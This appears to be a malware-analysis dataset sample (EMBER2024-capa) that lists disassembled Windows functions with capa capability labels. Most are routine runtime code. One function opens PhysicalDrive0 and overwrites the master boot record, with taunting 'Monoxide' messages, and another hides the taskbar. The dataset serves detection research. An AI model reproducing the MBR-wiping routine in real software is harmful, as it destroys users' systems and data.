joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4886b0
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4b21e0
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x488857
mov ecx, dword [0x541d10]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x4887ac
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.004873d0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.004a2058
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.004a1f6b
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x540a88
call fcn.004a1fd9
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.00487790
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.004a2058
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.004a1f6b
lea ecx, [esp + 0xc]
call fcn.004a2433
mov ecx, dword [esp + 0xc]
push 0x5414c4
push ecx
call fcn.00491754
add esp, 8
test eax, eax
je 0x4887d4
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x48870d
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.004a1f6b
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004a1f6b
jmp 0x48885b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.00488450
test eax, eax
push 0
je 0x48883f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.00486af0
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x488825
cmp eax, 0x64
jg 0x488813
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4887b0
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4887b0
cmp eax, 0x64
jge 0x4887ac
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4887b0
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.00486af0
mov esi, eax
jmp 0x4887b0
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x488865
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x4a4379
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4a43b1
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004a23c6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004a239e
jmp 0x4a43bd
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4a5a6b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4a5aad
call fcn.004ab851
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4a5aad
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4a5aa4
xor eax, eax
jmp 0x4a5ab5
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004a5abb
pop edi
pop esi
pop ebx
ret 4

Function at 0x4abd81
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4abdaf
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4abdcd
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004abce7
jmp 0x4abdcd
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4abdcd
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004abce7
test edi, edi
mov eax, edi
jne 0x4abdb7
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x403cff
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 4], 0
mov dword [esp], str.Shell_TrayWnd
call sym._FindWindowA_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
mov dword [esp + 4], 5
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
nop
leave
ret 4
Function at 0x40499b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x10000000
mov dword [esp], str..PhysicalDrive0
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteFile_20
sub esp, 0x14
cmp eax, 1
setne al
test al, al
je 0x404a97
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Monoxide__ANNA..
mov dword [esp + 4], str.I_couldnt_overwrite_MBR..._Youre_lucky_today...
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Monoxide__Anna_wtf
mov dword [esp + 4], str.Please_run_me_as_administrator__INGOFF_epta
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [esp], 0
call sym._ExitProcess_4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x40e8b0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x4eb068
call sym._EnterCriticalSection_4
mov ebx, dword [0x4eb060]
sub esp, 4
test ebx, ebx
je 0x40e8fb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x40e8f4
test esi, esi
je 0x40e8f4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40e8d0
mov dword [esp], 0x4eb068
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40eae0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40eb30
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40ec08
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40eb6e
cmp eax, 4
jne 0x40eb90
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40eb7e
cmp edx, 4
je 0x40eb7e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040eae0

Function at 0x40f180
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sym._GetLastError_0
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sym._SetLastError_4
sub esp, 4
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40f1b0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
je 0x40f1d4
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp sym._GetLastError_0
Function at 0x420d80
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x4a6abc], 0
jne 0x420e54
mov byte [0x4a6abc], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x420eee
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x1c], 0xffffffff
sete al
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call sym.___cxa_demangle
mov esi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov ebp, eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea edi, [esi + 0x40]
mov dword [esp + 0xc], edi
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], edi
je 0x420e4a
mov dword [esp], ebx
call sym._fputs
lea eax, [esi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x4a7491
mov dword [esp + 0xc], eax
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x420e81
call sym.___cxa_rethrow
mov dword [esp], ebp
call sym._fputs
jmp 0x420e1b
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
call sym._abort
mov dword [esp], ebp
call sym._free
jmp 0x420e45
call sym._abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
jmp 0x420ee9

Function at 0x49fa70
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call sym.___main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x49faa6
jmp 0x49fade
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x49faa3
cmp al, 9
je 0x49faa3
cmp al, 0x22
jne 0x49fac7
jmp 0x49fb26
cmp al, 9
je 0x49fad3
add ebx, 1
movzx eax, byte [ebx]
test al, 0xdf
jne 0x49fac0
jmp 0x49fad3
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x20
je 0x49fad0
cmp al, 9
je 0x49fad0
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x49faed
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
test al, al
je 0x49fb32
mov edx, ebx
add ebx, 1
movzx eax, byte [ebx]
cmp al, 0x22
jne 0x49fb22
cmp al, 0x22
jne 0x49fad3
lea ebx, [edx + 2]
jmp 0x49fad3
Function at 0x4018f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x467843
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x470148
mov dword [esi + 4], edi
lea ebx, [esi + 8]
mov dword [esp + 0x18], edi
mov ecx, ebx
call fcn.00419e42
mov dword [ebx], 0x470134
lea ebx, [esi + 0x1c]
mov byte [esp + 0x18], 1
mov ecx, ebx
call fcn.00419e42
or eax, 0xffffffff
push 0x4ab560
mov dword [ebx], 0x4700f8
push edi
mov dword [esi], 0x47010c
mov dword [esi + 0x54], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x30], 0x10
mov dword [esi + 0x34], 0xf
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
mov dword [esi + 0x38], 0xc0c0c0
mov dword [esi + 0x3c], edi
call fcn.005c3aa0
nop
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x58], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x407570
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x467f5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x4701d0
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x407600
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x4075c7
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [0x46f094]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x4075f1
mov ecx, dword [esi + 4]
push eax
push ecx
call fcn.00419f68
jmp 0x407606
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call fcn.00419f68
jmp 0x407606
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x470164
mov ecx, edi
mov byte [esp + 0x1c], 2
call fcn.00419eb4
mov ecx, esi
mov dword [edi], 0x46fef8
mov dword [esp + 0x1c], 0xffffffff
call fcn.00419f4a
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x40d140
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x468c4f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x24
mov eax, dword [esp + 0x38]
push esi
push eax
lea ecx, [esp + 0xc]
mov dword [esp + 8], 0
call fcn.0040cf40
lea ecx, [esp + 8]
mov dword [esp + 0x30], 1
call fcn.0040d020
mov esi, dword [esp + 0x38]
push eax
mov ecx, esi
call fcn.00419d46
mov dword [esp + 4], 1
lea ecx, [esp + 8]
mov byte [esp + 0x30], 0
call fcn.0040cfc0
mov ecx, dword [esp + 0x28]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x30
ret
Function at 0x40d480
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x468d67
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ebx, [esi + 4]
mov ecx, ebx
call fcn.00419ce0
lea ebp, [esi + 8]
xor edi, edi
mov ecx, ebp
mov dword [esp + 0x1c], edi
call fcn.00419ce0
lea ecx, [esi + 0xc]
mov byte [esp + 0x1c], 1
call fcn.00419ce0
lea ecx, [esi + 0x30]
mov byte [esp + 0x1c], 2
call fcn.00419ce0
lea ecx, [esi + 0x38]
mov byte [esp + 0x1c], 3
call fcn.00419ce0
lea ecx, [esi + 0x3c]
mov byte [esp + 0x1c], 4
call fcn.00419ce0
lea ecx, [esi + 0x60]
mov byte [esp + 0x1c], 5
call fcn.00419ce0
lea ecx, [esi + 0x74]
mov byte [esp + 0x1c], 6
call fcn.00419ce0
lea ecx, [esi + 0x78]
mov byte [esp + 0x1c], 7
call fcn.00419ce0
lea ecx, [esi + 0x80]
mov byte [esp + 0x1c], 8
call fcn.00419ce0
lea ecx, [esi + 0x90]
mov byte [esp + 0x1c], 9
call fcn.00419ce0
lea ecx, [esi + 0x94]
mov byte [esp + 0x1c], 0xa
call fcn.00419ce0
lea ecx, [esi + 0x98]
mov byte [esp + 0x1c], 0xb
call fcn.00419ce0
lea ecx, [esi + 0x9c]
mov byte [esp + 0x1c], 0xc
call fcn.00419ce0
lea ecx, [esi + 0xa0]
mov byte [esp + 0x1c], 0xd
call fcn.00419ce0
push 0x4ab51c
mov ecx, ebx
mov byte [esp + 0x20], 0xe
mov dword [esi], 0x4714ec
call fcn.00419d40
push 0x4ab51c
mov ecx, ebp
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0xc]
call fcn.00419d40
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
push 0x4ab51c
lea ecx, [esi + 0x30]
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x38]
call fcn.00419d40
push str.HttpDownload_2.0
lea ecx, [esi + 0x3c]
call fcn.00419d40
mov eax, 0x2710
push 0x4ab51c
lea ecx, [esi + 0x60]
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x74]
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x78]
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x80]
mov dword [esi + 0x7c], edi
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x90]
mov word [esi + 0x84], di
mov dword [esi + 0x88], edi
mov dword [esi + 0x8c], edi
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x94]
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x98]
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0x9c]
call fcn.00419d40
push 0x4ab51c
lea ecx, [esi + 0xa0]
call fcn.00419d40
mov ecx, dword [esp + 0x14]
mov dword [esi + 0xac], edi
mov word [esi + 0xa4], 0x50
mov dword [esi + 0xa8], 0xffffffff
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40d700
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x468e37
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [esp + 4], esi
mov dword [esi], 0x4714ec
mov dword [esp + 0x10], 0xe
call fcn.0040d870
lea ecx, [esi + 0xa0]
mov byte [esp + 0x10], 0xd
call fcn.00419bde
lea ecx, [esi + 0x9c]
mov byte [esp + 0x10], 0xc
call fcn.00419bde
lea ecx, [esi + 0x98]
mov byte [esp + 0x10], 0xb
call fcn.00419bde
lea ecx, [esi + 0x94]
mov byte [esp + 0x10], 0xa
call fcn.00419bde
lea ecx, [esi + 0x90]
mov byte [esp + 0x10], 9
call fcn.00419bde
lea ecx, [esi + 0x80]
mov byte [esp + 0x10], 8
call fcn.00419bde
lea ecx, [esi + 0x78]
mov byte [esp + 0x10], 7
call fcn.00419bde
lea ecx, [esi + 0x74]
mov byte [esp + 0x10], 6
call fcn.00419bde
lea ecx, [esi + 0x60]
mov byte [esp + 0x10], 5
call fcn.00419bde
lea ecx, [esi + 0x3c]
mov byte [esp + 0x10], 4
call fcn.00419bde
lea ecx, [esi + 0x38]
mov byte [esp + 0x10], 3
call fcn.00419bde
lea ecx, [esi + 0x30]
mov byte [esp + 0x10], 2
call fcn.00419bde
lea ecx, [esi + 0xc]
mov byte [esp + 0x10], 1
call fcn.00419bde
lea ecx, [esi + 8]
mov byte [esp + 0x10], 0
call fcn.00419bde
lea ecx, [esi + 4]
mov dword [esp + 0x10], 0xffffffff
call fcn.00419bde
mov ecx, dword [esp + 8]
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x413cad
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4695b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push esi
push edi
lea ecx, [esp + 0x10]
call fcn.00419ce0
lea ecx, [esp + 8]
mov dword [esp + 0x70], 0
call fcn.00419ce0
push 0xf231
lea ecx, [esp + 0xc]
mov byte [esp + 0x74], 1
call fcn.00419e0c
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x28]
mov dword [esp + 0x14], eax
rep stosd dword es:[edi], eax
lea ecx, [esp + 8]
mov dword [esp + 0x18], eax
push ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x20], eax
push 0x4ab68c
push edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 0x44
call fcn.0041a10c
lea ecx, [esp + 0x14]
mov eax, dword [eax]
push ecx
mov ecx, dword [0x4ab68c]
lea edx, [esp + 0x28]
push edx
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call fcn.005bffcd
nop
lea ecx, [esp + 0xc]
mov esi, eax
call fcn.00419bde
lea ecx, [esp + 8]
mov byte [esp + 0x70], 0
call fcn.00419bde
lea ecx, [esp + 0x10]
mov dword [esp + 0x70], 0xffffffff
call fcn.00419bde
mov ecx, dword [esp + 0x68]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x6c
ret
Function at 0x41f2c0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x46a47b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x472750
mov eax, dword [esi + 0x30]
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x1c], 1
je 0x41f350
mov edx, dword [esi + 0x24]
mov eax, dword [esi + 0x2c]
mov edi, dword [esi + 0x20]
mov ecx, edx
push ebx
sub eax, ecx
mov ecx, dword [esi + 0x28]
mov ebx, edi
sub ecx, ebx
mov ebx, dword [esi + 0x1c]
cmp esi, ebp
je 0x41f317
mov ebp, dword [esi + 4]
push 0xcc0020
push edx
push edi
push ebp
push eax
mov eax, dword [ebx + 4]
push ecx
push edx
push edi
push eax
call dword [0x46f094]
mov eax, dword [esi + 0x18]
pop ebx
test eax, eax
jne 0x41f341
mov ecx, dword [esi + 4]
push eax
push ecx
call fcn.00419f68
jmp 0x41f356
mov eax, dword [eax + 4]
mov ecx, dword [esi + 4]
push eax
push ecx
call fcn.00419f68
jmp 0x41f356
mov dword [esi + 8], ebp
mov dword [esi + 4], ebp
lea edi, [esi + 0x10]
mov dword [esp + 0x10], edi
mov dword [edi], 0x470164
mov ecx, edi
mov byte [esp + 0x1c], 2
call fcn.00419eb4
mov ecx, esi
mov dword [edi], 0x46fef8
mov dword [esp + 0x1c], 0xffffffff
call fcn.00419f4a
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x14
ret